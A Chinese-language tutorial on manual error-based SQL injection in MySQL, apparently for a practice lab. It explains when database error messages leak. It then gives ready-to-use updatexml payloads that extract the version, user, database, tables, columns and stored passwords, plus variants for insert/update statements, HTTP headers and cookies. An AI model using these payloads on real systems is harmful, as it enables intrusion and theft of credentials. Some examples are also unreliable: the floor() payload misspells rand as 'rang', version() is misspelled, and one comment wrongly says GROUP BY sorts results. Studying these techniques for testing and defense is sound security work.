ThinkChat2.0新版上线,更智能更精彩,支持会话、画图、阅读、搜索等,送10W Token,即刻开启你的AI之旅 广告
## 基于函数报错手工注入 ### 思路、条件、优缺点等 当数据库的函数被传入错误参数时,会发生语法错误,正常情况下这类错误不应该回显到前端页面,但当中间件或程序未正常屏蔽时导致错误信息输出到屏幕上,就能用来进行报错注入了。 select/insert/update/delete都可以被用来报错注入 **报错注入条件:** 1. 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端 2. 运维人员设置中间件的时候,错误输出没有屏蔽 3. 程序员写网站代码的时候,没有屏蔽错误信息输出 **优缺点:** 1. 优点是注入速度快 2. 缺点是语句较为复杂,而且只能用**limit**依次进行猜解 总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用mysql输出了错误信息时使用。 ### 常用函数 floor():MYSQL 中用来取整的函数 ~~~sql select count(*) from information_schema.tables group by concat((select version())),floor(rang(0)*2); #concat 连接字符串功能 #floor 取float的整数值 #rang 取0-1之间随机浮点值 #group by 对结果集进行排序 select verson()就是我们用来做sql注入的语句 ~~~ extractvalue():MYSQL 对 XML 文档数据进行查询的 XPATH 函数 ~~~sql select extractvalue(1,concat(0x7e,(select user()),0x7e)); #extractvalue():接收2个参数,第一个xml文档,第二个xpath语句 #用concat构造一个错误的xpath字符串,使extractvalue函数报错,显示出构造的'错误'字符串 ~~~ updatexml():MYSQL 对 XML 文档数据进行查询和修改的 XPATH 函数 **最常用的报错注入函数** ~~~sql select updatexml(1,concat(0x7e,(select user()),0x7e),1) #接收3个参数,第一个xml文档,第二个xpath语句,第三个字符串 #原理和extravtvalue一样,构造错误的xpath语句报错 ~~~ ### updatexml报错实战 select、delete语句注入 ```sql #1 爆数据库版本信息 k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) # #2 爆数据库当前用户 k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) # #3 爆数据库 k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) # #4 爆表名 ## 反馈回的错误表示只能显示一行,所以采用limit来一行一行显示 k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0) # #5 爆字段 k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) # #6 爆字段内容 k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) # ``` insert、update、注入 增、改同样可以用来进行报错注入,只是需要前后分别用or语句连接,使语句完整,一般需要抓包用bp改参数 ```sql # 原语句 insert into xxx id values ('k'); # 报错注入语句 k' or updatexml(1,concat(0x7e,(命令)),0) or' # 组合后语句 insert into xxx id values ('k' or updatexml(1,concat(0x7e,(命令)),0) or''); ``` head和cookie注入 如果代码调用了head或cookie中的信息拿到数据库进行拼接,也可以用报错注入尝试 同样是先用单引号找到注入点,在进行注入 ```sql # http head头注入,假如是对浏览器类型的检测 Mozilla ' or updatexml(1,concat(0x7e,database ()),0) or ' # cookie注入,假如原cookie为 ant[uname]=admin ant[uname]=admin' and updatexml (1,concat(0x7e,database()),0) # ```